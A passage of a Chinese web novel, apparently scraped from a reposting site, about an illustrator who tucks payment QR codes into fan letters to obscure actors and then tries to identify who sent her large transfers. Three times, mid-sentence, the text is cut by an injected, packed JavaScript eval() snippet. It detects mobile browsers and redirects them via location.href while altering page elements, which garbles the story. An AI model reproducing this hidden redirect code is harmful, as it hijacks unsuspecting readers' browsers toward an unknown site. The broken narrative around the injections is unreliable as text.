《把收款码塞到给糊咖的信里后》 1. 镜中影 《把收款码塞到给糊咖的信里后》 文/落万枝 晋江文学城独家发表 2025.12.23 收到六位数的匿名转账时,正值晚上十点多,许岁澄还在改画稿。 一张明星梦女图。 祝斯年西装革履倚靠镜前,女主角身穿露背婚纱跨坐男人双.腿间,那只青筋偾张的强劲手臂环扣在纤细的腰际,另一只大掌则紧托她的下巴强行侧向镜子。 「一边是蓄谋已久的侵占欲,一边是甘之如饴的臣服感,镜中,两道视线在朦胧的水汽中纠缠。」 啧。 改了不下十版后,许岁澄对这段抽象描述已经ptsd了。 约稿之前,“没要求”“很好说话”“感觉到了就行”。 交稿之际,“你不能真对自己没点要求啊”“我是太好说话了吗”“感觉到不行”。 【太太,恕我直言,我觉得您没有深刻地理解人物底色和情感内核。】 【您不追星吧?】 当时看到这句话,怎么说呢。 许岁澄眯眼歪嘴,做出死装男经典顶腮动作,用压低的油腻气泡音自言自语道—— “丫头,当年我追你担时,他还是个在横店跑龙套的糊咖呢。” 可她不能这么说,毕竟单主就是上帝。 更何况,这位上帝只是说不清自己的诉求,但出手阔绰; 只是对细节的把控很变态,但出手阔绰; 只是朝令夕改事儿有点多,但出手阔绰。 这张画稿能抵她这个月的房租。 对于刚毕业不久、收入极不稳定的许岁澄来说,足以解燃眉之急。 其实,她的经济水平也不是一直如此窘迫,传媒大学动画专业毕业后,许岁澄顺利进入游戏公司做原画师。 听起来是个高薪且体面的工作。 实际上,每天路过蜂巢一般的工位,一格一格紧密排列,隔板高耸。 抬头望去,只能看见对面男同事露出的一小撮头发,当然,也是所剩不多的那一丛,像浮在灰色海面上的水草,随着空调气流晃来晃去。 每个人都是一尾被钉在工位上的鱼,对着冰冷的显示屏,麻木地、机械地、日复一日地用键盘吐泡泡。 更可怕的是,那些鱼边吐还边说:“感觉不对”“个性没有表达出来”“有没有一点想象力”“再优化下”“你管这叫动画?” 到底是鱼,学不会说人话。 一向自由散漫惯了,许岁澄在不知晨昏的海底蛰伏了两个多月,伺机跳上岸。 然后……抱着她那条没有长出双腿的尾鳍,又搁浅了。 凭借大学时期兼职接稿积累起来的客户资源,转行做自由画师也不至于饿死。 偏偏许岁澄花钱大手大脚、从不亏待自己,还特别喜欢追星养成糊咖。 支出与收入相比,多少有些捉襟见肘。 要知道,人手头紧,脑袋就松,暴富的梦像鱼吐泡泡一样咕噜往外冒。 这一天,艺高人胆大的许岁澄,揣着十几封装了收款码的手写信来到快乐老巢——影视城,超绝不经意地将信封塞到自己养过的糊咖手中。 正所谓养兵千日用兵一时。 往常过节或新剧开拍收工之际,一些明星也会给自己眼熟的粉丝送红包,意为同享喜气、讨个好彩头。 像她这种恨不得直接把手伸进人家裤兜的流氓行径,还是头一个。 带了点玩票性质,许岁澄心想,苍蝇腿再小也是肉。 但当收款到账提示弹出来的那一刻,苍蝇腿变成了帝王蟹钳。 许岁澄第一念头是,“我是真该睡了。” 疑似熬夜改画稿的追星女被逼疯猝死前的幻想。 眼睛一闭,一睁,泡泡没有破灭。 再闭,再睁,帝王蟹耀武扬威地挥动着钳子。 她数了数。 个、十、百、千、万……妈啊! * 【有没有懂的律师碰油们说一下,不小心把收款码塞到给糊咖的信里,现在真收了一笔转账,我需要退回吗?】 【另外……不退的话,以后爬墙了会被对方告吗?╮( ??ω?? )╭】 重点在于第二句话。 许岁澄发帖的目的很明确:杜绝网络诈骗、无后续风险地接受这笔巨款。 很快,这条炸裂的帖子如一枚鱼雷,在论坛激起千层浪。 1L 你是说你不小心打印了一张收款码,又刚好不小心掉到了信封里面是吗?回答我! 2L 雾草莫非我们论坛出现了一位甜菜!我怎么没有想到这个法子!妙啊妙啊 3L 搞抽象的吧?后面英语单词呢忘带了? 4L 没关系,就算是真的,我们也会祝福你的。微笑.jpg 5L 先说说收到了多少钱吧 许岁澄飞速敲击键盘:【六位数,九打头】 7L ??? 8L ??????? 9L ????????????? 10L 什么?!六位数??这哪里是糊咖啊!这可是你的金主爸爸!毕生贵人呐! 11L 哈哈密码的有时候不耍我,也是一种耍我,冷抖气退网了886 12L 区区一个糊咖出手这么大方?不会是嫂子拿我们当play的一环吧 13L 楼上+1,不爆信息不发截图的一律按嫂子处理 14L 别整的到时候发个自家河童亲亲老公的照片,说成是待爆帝咯kk 15L 主包,他们就是嫉妒你,别在意!不过话说回来了,是哪个糊咖不!是哪位小天使呀?现在入坑还来得及吗?有钱一起赚啊主包! 16L 几十万也不是小数目吧,你救过对方命吗? 这是个好问题。 老实说,许岁澄并不知道【对方】是谁。 回忆自己递手写信时的场景,她满脑子只有偷塞收款码的刺激。 至于信封最后递给了哪些人,竟然毫无印象。 这不重要,就算找不到“孩子”的父亲,她也会负责到底。 不过,总体而言,【对方】一定有相同的特性—— 都曾是无人问津的十八线,被作为“糊咖救世主”的她慧眼识珠,出于感激而转了一笔钱。 这么想着,许岁澄解释道:【大家越猜越离谱啦,不是我老公,也没有救过对方】 【非要说的话,大概就是对方刚出道糊得全网查无此人的时候,给做过数据,买过粉丝,雇了几个人一起去接机撑排面,经常去横某店探班送手写信之类的吧……】 18L 好的不眼红了,有这耐心和毅力,你做什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977880|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会成功的 19L 果然是一分耕耘一分收获!主包一定也付出了很多时间和前期投入吧,如果我是这个小糊咖,有这么一个人陪我熬过漫漫长夜……估计得感动死了! 夸张了。 许岁澄老脸一红,老实交代。 【呃其实也没有付出多少,数据是想起来就顺手投的,粉丝是某宝花9.9买的两千僵尸粉,经常探班是因为有影视城年卡不用回本可惜了,至于手写信……复写纸一起写了十几份,走到哪儿送到哪儿。】 21L ……? 22L 所以……收款码也印了十几份,静待一个财大气粗的有“元”人随手转个红包是吧!可恶啊,你这脑子咋就这么好使呢!!! 23L 好一招空手套白狼处处留情的女骗子,无语了,这钱你收的安心吗?不安心的话可以转给我,我很愿意替你分担这份痛苦 24L 那咋了,顺手也要动手指头,9.9也是钱啊,写一份和写十份那都是你亲手一笔一划写出来的!最主要的是主包眼光好啊选中了一个知恩图报的潜力股,他敢给,凭啥不敢收! 25L 吾辈楷模!咱大女人就是牛! 26L 你为什么提到“以后爬墙了”这种假设,是不想继续追他了吗? 27L 对诶!楼上好敏锐啊!!!糊咖能转这么多,说明已经好起来了吧?主包为什么还要爬墙 28L 突然收到这么一大笔钱,还了可惜,不还愧疚,干脆卷钱跑路相忘于江湖咯,反正对方都成大明星了,也不会为了这点小钱出来锤主包吧 29L 不会的,转账备注了自愿赠与,不要愧疚,也不会有人告你。 看到这条评论,许岁澄愣了一瞬,当即切出论坛,翻开转账页面。 【居然真的备注了诶!姐妹你咋知道的,好牛啊】 字是刚发出去的,脑子才后知后觉追了上来。 许岁澄眼睁睁看着论坛回帖一条叠一条。 31L 等等……26楼和29楼是同一个人,而且这个人列表只关注了一个人,那就是主包! 32L 嘶……好像发现了什么不得了的事情 33L 完蛋了疑似正主下场了,主包还搁这儿嘚啵嘚啵姐妹你好牛呢xs 34L 最尴尬的一种死法已诞生,主包祝你好运 “叮——” 像一把音叉在颅腔内发出重击,一声清鸣过后。 受磁场干扰,许岁澄变成了傻叉。 她火速销号了。 逃避可耻但有用。 许岁澄说不清自己是什么心态。 像刚抱到手的胖娃娃,还没捂热,孩子的父亲就找上门来。 正好撞见她对着左邻右舍大肆宣扬:孩子是骗来的,她还想找后爹。 深吸一口气,许岁澄咬着数位笔,指尖漫无目的地疯狂切换各大软件页面。 切进切出,切出切进,很忙,但也不知道在忙些什么。 算了,事已至此,先画画吧。 明早交稿,留给她的时间不多了。 刚放下手机。 下一秒,微信聊天框弹出消息。 【是我哪里做的不对吗?我可以改。】 【不要爬墙,好不好?】 2. 釉下蓝 四十三分钟过去了。 时间来到十二点。 窗外是釉蓝的夜。 脑海是失忆的白。 盯着这个不知何时添加的微信好友,许岁澄的心情从最初的惊恐、不安、慌乱,演变成了现在的心如死……猪不怕开水烫。 万万没想到,慷慨解囊的金主不仅现身论坛,甚至还一直潜伏在自己的好友列表。 她研究了许久,试图找出有关对方的线索。 无备注,头像空白,昵称空白,朋友圈空白,个性签名空白。 「这个人很神秘,什么都没有留下。」 唯一特殊的是,此人朋友圈背景图片是一张男Q版人物画。 清晰度不算高,看起来很久未更换,没熬过画质压缩的时期。 再看看画中人物,勾线死板、笔触潦草、风格套路、毫无灵韵。 许岁澄得出结论:某个新手小白画的流水线圈钱之作。 结合对方的糊咖身份,她大胆猜测,这张图应该出自粉丝之手,画中人物便是糊咖本人。 看来也是没吃过什么好东西,这么粗糙的图还保留至今。 许岁澄大学有段时期也经常画Q版人物图,那时她刚注册成为约稿画师,最容易上手也最容易出手的就是这种类型稿件。 明星、乙女游戏角色、同人、原创OC……Q版画风格相似,单主要求较低,出图快,白菜价。 画得不好没关系,胜在量大。 许岁澄每天拿正在追的糊咖练手,再将看得过眼的画作送给他们,“这是我第一次画Q版图,为了你专门学的哦!” 谁能抵挡微时的“偏爱”。 别说,的确有不少糊咖被她感动得泪眼汪汪。 这让许岁澄觉得自己才是汪汪。 很狗。 老实说,这种八股画她都是几十分钟产出,画完就忘,压根分不清谁是谁。 想到这里,许岁澄狐疑地再看一眼背景图,突然冒出一个荒唐的猜测:这不会是我…… 不可能!绝对不可能! 我小学用脚画,都比这个画得好! 果断舍弃这一自砸招牌的假设,她开始放大图片,检索更多细节。 很好,经过她火眼金睛一阵扫射,最终在人物的黑色□□处发现了一串灰色水印,小鼻嘎大小。 如此掩耳盗铃的防伪标识,估计画者也意识到自己画得奇烂,生怕成名后此画沦为最大黑历史。 调曝光、拉对比度、修复画质……一系列操作过后,许岁澄分辨出水印内容。 【20231211 zsn】 20231211应该是画成时间。 至于zsn…… 名字首字母缩写吗? 咋说呢,揍死你,这三年,蒸桑拿,紫薯泥,这是哪。 …… 齁荡齁荡齁荡!这给我干哪儿来了,这还能是人名吗! 许岁澄狠狠拍了拍脑门,打断逐渐邪门的造词。 不过可以确定的是,按照绘圈习惯,【zsn】一定是画师的名字。 不然,作一幅画不留自己名字,只留作画对象的,也太狡猾了。 简直跟她有得一拼。 于是,经过一番缜密的推理,丝毫没有缩小目标范围,事情反而越来越复杂了。 与其逼自己一把,不如放自己一马。 许岁澄决定—— 开始装死。 谁说别人发了消息就一定要回?被她忽略的信息还少吗。 等对方按耐不住,自会自爆。 好心态,决定女人的富贵一生。 许岁澄不再庸人自扰,思绪平稳下来后,再看此前改了数十版的梦女稿,灵感突然从四面八方喷涌而来。 「蓄谋已久的侵占欲」「甘之如饴的臣服感」 这不就是突如其来的六位数收款与自己的真实写照吗? 啊!钱辈,不要,请不要怜惜我,激烈地吻上来吧! 给自己演嗨了。 许岁澄飞扑到工作台,拾起数位屏,忘情了发狠了,沉浸在自己的艺术中全然不知天地为何物。 再抬起头时,已是凌晨四点。 打了个绵长的哈欠,她半眯着眼,将梦女图最终定稿发给单主。 【宝宝,怎么样,喜欢吗?】 再不满意,我也是真没招了。 手机扔到旁边,许岁澄嘎巴一下躺倒在床上。 耳畔似乎传来消息提示的声音。 她已无暇应对。 无声的、巨大的、令人缓慢下沉的疲惫,像粘稠的海水,包裹着每一寸神经。 但在六位数钱辈的治愈下,身体每一处机能都在复原,慢慢的,海面变得平静,水中的泡泡变成金豆,她的尾鳍化作双腿。 她或许可以上岸了。 原来,财富自由才是真正的自由。 彻底失去意识之前,她想,这将会是我今年最后一次接稿。 姐,自由了! - 早上十点。 被视频通话吵醒时,许岁澄正在和钱辈上演你追我逃的强制爱戏码。 满面春风,眼波流转。 甘洛琳吓了一跳:“干啥?发春了?” 她眉头紧蹙,凑近屏幕,“你不会要和那个转六位数的糊咖官宣了吧?” “不对,”甘洛琳改口,“是前糊咖,出手这么大方,现在应该变资本了。” 许岁澄翻了个身,手机也被压到枕下。 “什么鬼……我能做这种丧尽天良的事儿?” 仔细想了想,甘洛琳摇头。 这的确不符合她的一贯作风。 对于很多追星族来说,养成糊咖就跟养孩子一样,只要号开得够多,总有一个能出人头地。 陪他们从默默无闻到万众瞩目,是养成游戏最具成就感的时刻。 但许岁澄是朵奇葩,她只喜欢糊咖“赏味期”,一旦有大爆的苗头就会默默退场,转身拥抱新一批嗷嗷待哺的“雏鸟”。 这算是某种新式的“白骑士综合征”吗?不懂。 甘洛琳不追星,她只是一个纯粹的二次元宅女,况且,糊逼不配当乙游男主角。 “好吧。” “对了,我帮你把那个疑似正主踢出论坛了。” ? 许岁澄瞪大眼,重新举起手机。 屏幕那头的女孩似乎正在玩游戏,眼镜反光,映出完美老公的绝佳身材。 “怎么……做得不对吗?”甘洛琳分了个眼神给她,“我看你火速销号了,应该是不想被他发现,就直接给他踢出去了。” “干得漂亮!” 许岁澄噌得弹射起身,“感谢我们伟大的论坛主——诺宁女士!” “呸,糯您。” “落灵。” “若零……” “你才是零!你全家都是零!”甘洛琳气成河豚,“大学到现在四年半了,你还念不对我名字,去spa!” “spa?可以啊,我请你去重温大学后街那家盲人按摩店……” 通话在一阵鸡同鸭讲的混乱中结束。 睡意全无,满血复活。 许岁澄下床洗漱后,拾起手机,准备查收单主的顶礼膜拜。 【太太dd,我的饭出炉了吗?】 消息跳出来的那一刻,许岁澄手一顿,迷惑眨眼。 昨晚画完后不是已经发给她了吗? ……发了吗?没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977881|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出去?难道我记忆错乱了? 算了,重发一遍,多大点事儿。 【宝宝,你看下,还满意吗?】 对面很快回复:【看了又看,满意的不得了!太太辛苦啦!鞠躬.jpg】 【为宝宝效劳,不辛苦呢。鞠躬.jpg】 一直悬着的心终于松下来,许岁澄露出由衷的微笑。 这么看,单主还是挺可爱的嘛。 【呃太太,其实我一直没好意思说,我雷“宝宝”这个称呼……】 【好呢,老婆!】 【……也雷】 【那,大小姐?】 【更雷了!】 许岁澄:不嘻嘻。 也是遇见super雷帝了,一开口就是一整个大扫雷。 短暂的几分钟沉默,对面很快结清尾款,甚至多付了几张。 【不过没关系太太,您把家夫画得很带感,下次还找您~鞠躬.jpg】 许岁澄:嘻嘻。 【客气了,祝您和祝斯年先生百年好合!鞠躬.jpg】 合作整体而言还算愉快。 绘圈生态有些奇怪,两个礼貌而客气的人总是时不时鞠躬,转头便在网络互挂。 但许岁澄显然是比较幸运的那个。 接稿至今没被投诉过,再难缠的单主最终也能笑着验收,画稿分享到社交平台大爆连着小爆,某书上画画账号「一颗橙子」也已积累数十万粉丝。 莫非她竟是天选自媒体人? 然而,在许岁澄鬼哭狼嚎地唱完第二遍“好运来”后,“厄运”降临了。 【昨晚睡得好吗?】 嘴唇微撅,“祝”字还未唱出来,许岁澄默默收回。 看来,事情并不会因为睡了一觉而翻篇。 好歹是“金主爸爸”,念在过往情谊,再装死就不礼貌了。 端着“斗智斗勇大展拳脚”的姿态,许岁澄点进与对方的聊天框。 下一秒,扑通跪下。 好消息,她昨晚的确把画发出去了。 坏消息,发给了六位数糊咖。 她甚至还问:【宝宝,怎么样,喜欢吗?】 凌晨四点的夜,不止许岁澄醒着。 几乎是第一时间。 对方回复:【这幅画是…给我的吗?】 【好像有些露骨,不过画得很好,我很喜欢。】 【好久没有听到你叫我宝宝了,看来你今天心情不错,那就好。】 视线继续下移,来到最新消息。 【影视城那家文创雪糕店出了新口味,老板说今天会到货,要一起尝尝吗?】 - 雪糕是要尝的,但不是今天。 尽管对方看起来是个慷慨且细腻的人。 会在大额转账页面主动备注“自愿赠与”,会明确帮她排除这笔钱的一切法律风险,甚至还会装作无事发生般邀请她见一面。 他似乎只是想留住她这个“珍贵的粉丝”。 难道他没看到那段回帖吗? 否则怎么能毫无芥蒂地、低姿态地恳求她“不要爬墙”。 更可怕的是,许岁澄压根记不起他是谁。 直接问?太伤感情了。 岂不是坐实了她“空手套白狼处处留情”的恶行。 恐慌来源于未知。 或许得先试探出对方信息,才能考虑后续应对。 定下目标后,许岁澄露出易如反掌的笑容。 刚要打字。 屏幕上方接连弹出几条汇款通知。 均来自不同账户。 像是商量好的恶作剧。 许岁澄:颤抖点烟.jpg 这他爹又都是谁啊!!! 3. 薄荷雾 【啊啊啊碰油们我真的屎到淋头了!昨天六位数还没搞清楚是谁转的,现在又多了三笔来自不同账户的转账,可我压根分不清谁是谁!!!】 【关键我不知道什么时候加了六位数的微信,还没有备注!他现在跟我说话,我是一个字也不敢回怎么办,救救我救救我……】 发帖的重点依然在第二句。 第一笔转账出现时,目标范围不算大。 本来应该从从容容游刃有余,现在是匆匆忙忙连滚带爬。 人总是这样,幻想天上能掉馅饼。 可当馅饼真砸到了头上,又会指着天痛骂一句“谁TM高空抛物”。 许岁澄甚至开始怀疑,是不是自己前几年“作恶多端”,欺骗了太多糊咖的感情,导致他们反应过来后秘密成立了一个糊咖联盟,故意整她。 让她被资本主义做派腐蚀,迷失在金钱的海洋,最后沉溺于不劳而获、一夜暴富的幻境中。 可恶,那他们……人还蛮好的。 帖子一经发出,再次钓来一大波吃瓜群众。 1L 每次看到这种帖子就走不动道了,死手,又啪的一下点了进来…唉! 2L 最近怎么冒出这么多给糊咖塞二维码的,起号的你们有完没完了,一笔不够还加三笔,当我们都是二笔吗?再这样下去……我真的要实践起来了 : ) 3L 上次那个贴主和评论区疑似正主同一天销号了,包起号的 4L 还记得那天给俺急得在床上直蹬腿,爬起来连夜抄了三十几封手写信!结果密码的居然是起号的!我站着就是竖给你们的一根中指 许岁澄一边乐一边滑轨:【那啥…其实我就是昨天的“糊咖救世主”,怕再次被逮所以重新注册了一个号,至于评论区那个疑似正主,姐在论坛有点人脉嘿嘿,直接给他踢出去了。所以你们快给我出出主意啊啊啊啊】 6L 我靠好像是真的……楼主主页发了转账截图,哈哈悬着的心终于死了 7L 数了一下,五位数,六位数,六位数,吧主呢麻烦调回农村频道好吗好的 8L 有没有好心人能拉个表,想看看内娱目前还有多少糊咖,钱不钱的无所谓,就是单纯想陪他们渡过那段籍籍无名的黑暗时光。双手合十.jpg 9L 装货,真不想要直接原路退回去不就行了吗 许岁澄:【大额转账不能原路返回〒▽〒】 11L 哦。没收过那么多钱。一直站着回帖有点累了,谁能帮我踢下凳子,感觉还是吊着舒服 12L 纠结来纠结去,说到底你不就是想吞了这几笔巨款呗 许岁澄:【你不想吗?】 14L 想 15L 等等,就我发现主包有糊咖的联系方式?这算不算私联…… 16L 没有备注,也不知道对方是谁,估计糊得查无此人时就顺手加了,关键加了之后没聊过一句天……这不算私联,这算精准扶糊,主的光辉照大地了 17L 只有我关心主包怎么做到奶一个火一个的吗?还都是知恩图报的优质股,这眼光也忒好了! 18L 开个班吧,只要主包你一声令下,我们立刻拥护你为新的娱乐圈祖师奶!什么于歪李跑牛天真李秀漏GGYY通通靠边站 19L xs这楼歪的。根本没人在意主包提的问题,要我说啊……那就对了!爸个根的到底有什么好纠结的!直接日的一声呀啦嗦把钱全收了! …… 插科打诨,集体狂欢。 看来今天是神仙来了也救不了她。 许岁澄叹息,打算故技重施、删帖跑路。 突然有人戳了戳她的小窗。 【楼主,你为何不直接问他呢?我想,对方应该不会在意这些。】 【你又不是对方,你咋知】 字未打完,许岁澄指尖一顿,警惕地点开这人的主页。 等级较高的老号,有些权重。 主页时不时分享日常琐事,应该是个常年混迹论坛、热爱生活的追星女孩。 昵称也很小清新,叫“岁岁年年”。 她微松口气,笑自己过于草木皆兵。 也是,六位数好歹是前途无量的明星,第一次现身论坛或许是巧合,怎么会像自己一样这么快重新注册小号,只为了继续视奸她? 【有点不好意思,毕竟对方不知道我在背地里同时偷偷养了那么多糊咖,万一生气了,合起手来开我盒、媒体爆料、让粉丝网暴我、说我诈骗报警抓我那咋整】 许岁澄越想越有这种可能。 现在她在明敌在暗,双拳不敌八手,必须得把他们揪出来一一攻破,她才能抱得巨款归。 【如果对方早就知道了呢?】 看到弹出的消息,许岁澄下意识打字:【知道什么?】 【知道你有养成糊咖的爱好,也知道你的温暖并不是只属于他一个人…】 【我的意思是说,但他只是想留住你。】 许岁澄笑了。 【孩子,你现在当务之急是卸载口口小说】 【曾经送了点温暖就忘情了发狠了没命了?再说了,人家现在指不定有多少死忠粉夹道相送呢。要真知道我是什么德行,翻脸就在一瞬间】 【他是明星,又不是舔狗】 屏幕上方“对方正在输入中”频繁闪烁。 但过了近五分钟,才传出新的回复。 【也不是没这种可能…】 许岁澄“嘶”了一声,【把绿果短剧也卸了!】 - 岁岁年年的假设虽不切实际,但仍提供了一些可供参考的建议。 比如,可以与对方追忆往昔再套出点话,还可以大胆赴约再暗中观察。 「第一个转账的人一定是最在乎最关心你的那个,所以先从他入手也是最关键的一步,其他几个跟风的,过段时间自然会露出马脚。」 有道理啊。 拿着她给出的锦囊妙计,许岁澄终于点开第一位男嘉宾的聊天框。 还没想好开场白。 对方的消息倒恰逢其时地来了。 【对不起,昨天是我失礼了。】 【我不能限制你喜欢其他明星的自由,他们都很优秀。你会有爬墙的念头,一定是因为我做得还不够好。】 【还有那笔钱,你不要有任何心理负担,就当是我对你这些年一直陪伴的感谢。】 【毕竟,你是我最重要的…粉丝。】 瞧瞧,多么慷慨大义,多么贴心细腻。 许岁澄忍不住落下两滴鳄鱼的眼泪,真情实感地回:【你不要多想!其实我说爬墙只是口嗨而已,不是真的呀,我会不离不弃一直陪着你的!】 她心想,对方给的实在太多了,正常人也很难又离又弃啊。 【那就好。】 【那…你今天会来探班吗?】 既然话赶话说到这里,许岁澄顺水推舟:【当然!】 【好,天气太热,我让助理去接你。】 许岁澄瞳孔地震,连忙回绝。 脑中疯狂搜索哪位糊咖这么没有边界感,不懂得离粉丝的生活远一点吗。 这一细想,还真叫她筛出几个人选。 为了验证猜想,她装作不经意地进一步试探:【对了,你还在拍那部都市剧吗?】 她想了想补充道:【你和女主cp感好强,看得我磕生磕死!爱心.jpg】 【…我的剧没有女主。】 啊哦猜错了。 但排除一个错误选项,又何尝不是另一种形式的猜对了呢。 许岁澄再接再厉:【对对对看我这脑子,被巨款冲昏了头!】 【所以你拍的是古装……】 「对方正在输入中」闪烁超过三秒。 许岁澄紧急改口:【还是现代……啊?】 【嗯。】 【现代。】 Yes! 迂回排除法见效,许岁澄决定如法炮制。 只要对方输入时长较长,就说明前一个答案有偏差,立即改换新的选项。 几个回合下来,候选人名单进一步缩小。 只剩最后关键一击。 【唉,突然想起我们曾经一起坐在地上吃盒饭的日子】 【转眼你都混成顶流了,感慨万千啊】 发完消息,静待数秒。 对方回:【虽然应该还没到顶流的程度,但我一定会继续努力,不辜负你的期待。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977882|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【你说过的嘛,苟富贵,毋相忘。】 “woo!” 许岁澄弯起眉眼,带着势在必得的狡黠。 正在拍现代剧、剧中无女主角、比起奶茶更习惯喝咖啡、入行拍戏时间较短、现在的咖位离顶流只差一步之遥。 最重要的是,没边界感、性格热情主动。 锁定目标对象。 就你了,时泽! * 见到时泽时,他即将片场转场,可以和探班粉丝们短暂互动。 不愧是选秀节目出身的爱豆,即使在炎炎夏日拍了一天的戏,在见到粉丝的那一刻,也能立即拿出最佳状态。 外型清秀阳光,性子活泼开朗。 时泽所到之处,尖叫连连穿透耳膜,粉丝们为了吸引正主目光,各种彩虹屁、虎狼之词不要钱似的往外蹦。 臭小子,还真是好起来了。 许岁澄刚认识时泽那会儿,他一没背景资源二没过硬的唱跳实力,在人才济济的选秀选手中基本炮灰,线下应援的人气更是惨淡。 雇群演假扮粉丝造势、狂买牛奶打投做数据、剪视频宣传,许岁澄就这样硬生生把他推到大众视野。 最后虽然仍不敌资本,一名之差无缘出道位,但个体户时泽很幸运被圈内实力最雄厚的巨象娱乐看中。 这也是他签约新公司后,转型拍的第一部戏,现代耽改剧男主。 要知道,男明星拍耽改剧,只要长得不错,再稍微卖点腐,就算剧情是坨屎也会有无数腐女愿意尝尝咸淡。 照现场应援粉丝的热度来看,时泽凭这部戏飞升,似乎近在咫尺。 很快,许岁澄被挤到后排。 影影绰绰中,眼见就要被簇拥的人潮吞没。 还是助理小宛最先发现她,“小泽哥,岁岁姐来了。” 人群中,一直端着标准媚粉假笑的时泽表情微滞,嘴角扬起的幅度霎时变大。 他抬眸望去,眼底多了份真切。 艺人房车内。 许岁澄单刀直入:“你是不是给我转了笔钱?” “这么快就猜到了!” 时泽笑得少年气十足,恨不得当场摇起尾巴,“不过我才刚起步,转得不多,等我这部戏片酬到手,再给你多转点!” 大哥,六位数还不多呢? 谁说这明星不好当啊,这明星可太好当了。 但孩子如此大方,当妈的很是欣慰,还没来得及拿出感谢的客套话。 时泽突然面带担忧地凑上前,低声询问:“你是不是最近遇到了困难?” “你老公是不是对你不好?” 许岁澄一愣,想说我哪儿来的老公。 转瞬间,过往捏造的各种身份全部涌了出来。 陪着糊咖们横漂多年,她见人说人话见鬼说鬼话的本领已是炉火纯青,不想被扒马,那就叠甲一层又一层。 给时泽买奶打投那会儿,对方劝她少买点别浪费钱。 她披的马甲是“家有二胎,不愁没人喝奶”。 很显然,出了校园混社会的那几个月,已经治好了她的抽象。 她差点儿都忘了自己曾立过的人设。 许岁澄硬着头皮胡扯:“嗯,离了。” 男默女泪的短暂寒暄过后。 临别前,时泽抿唇敛眸,试探性地掏出手机,“认识这么多年,我们都还没有互留联系方式呢。” “要不要加个微信,下次你来找我的话,助理也可以提前安排……” ? 不是已经有微信了吗? 许岁澄调出聊天界面,正打算当面核对。 才发现不知何时竟多了几条未读消息。 【你来了吗?我好像没看到你的人。】 【果然,你还是想爬墙,对吗?】 看了看屏幕,又看看面前笑容腼腆的少年。 许岁澄倒吸一口凉气。 等等……第一位男嘉宾不是时泽?! 那是谁??? 这时,手机接连震动。 绿色的聊天框像鬼一样缠了上来。 【收到你给剧组买的咖啡了,虽然不是给我的,但还是谢谢。】 【下次别认错了。】 【我不是他。】 …… 【现在,我看到你了。】 4. 玻璃诗 时泽拍完转场,今日通告上的戏份顺利结束。 耽改受角性格和他原本的性格很像,都是快乐小狗类型,拍起来简直本色出演。 即使是完全的表演小白也能得心应手。 导演对他颇为满意,在片场止不住地夸赞“有灵气”。 这种好心情一直延续到收工。 喝着许岁澄送来的早已融掉的咖啡,时泽坐在休息区埋头打字。 突然,眼前投下一片阴影。 抬眸望去,高大的男人背光而立,面容看得不太真切。 “这么开心,”他问,“在和谁聊天?” 听到这个声音,时泽微微吃了一惊,“斯年哥!” “你怎么来了?” 时泽和祝斯年同属巨象娱乐旗下艺人,不过与刚进公司不久的时泽不同,祝斯年是大前辈,更是公认“一哥”。 尽管对方平日里待人似乎总有些冷漠疏离,但时泽知道,他是很好的人。 还记得签约那会儿,经纪人半开玩笑似的说:“公司签人最看中的是商业价值,但架不住你命好啊。” 后来时泽明白,是祝斯年向公司高层提起过他,才将他这个即将重回糊咖的小透明从泥潭中拉了出来。 甚至自己正在拍的这部班底雄厚的耽改剧,原本也是公司为祝斯年准备的。 虽不知他为何拒了这个本子,选了另一个较冷门的刑侦悬疑本,但对方仍毫不吝啬地把这个资源推荐给了自己。 所以,时泽打心眼里感激、敬仰祝斯年。 他连忙起身,把自己的专座让给对方,随后拖来另一把椅子,这才回复他刚才的问题。 “在和我一个朋友聊天,她今天来探我的班,刚走没多久。” 见他视线一直停留在自己手边的咖啡,时泽福至心灵,“哥,要不要喝点什么?我让小宛去买……” “不用。” 祝斯年淡淡收回目光,状似无意地问:“这也是那位朋友送的?” 时泽反应了好一会儿,才意识到他指的是咖啡,笑着点了点头。 “你们关系很好吗?” 如果时泽能更敏锐些,一定能听出对方语气中某种难以掩盖的郁气。 只可惜他一向是个钝人。 “嗯……她是我最重要的朋友。她也对我很好,在我还没出道时就一直陪着我加油打气。” 提起许岁澄,时泽眼底的笑意愈发荡漾,不好意思地摸了摸后脑勺,“她和哥一样,都是我生命中的贵人!” 对方坦诚直率的话,与某个小姑娘如出一辙。 祝斯年敛下眼眸,下意识轻捻指尖。 思绪却逐渐飘远。 * 青石板被午后烈日舔得滚烫,热浪刺破薄薄的粗布戏服,烙着后脊。 空气中土腥、汗臭浮动。 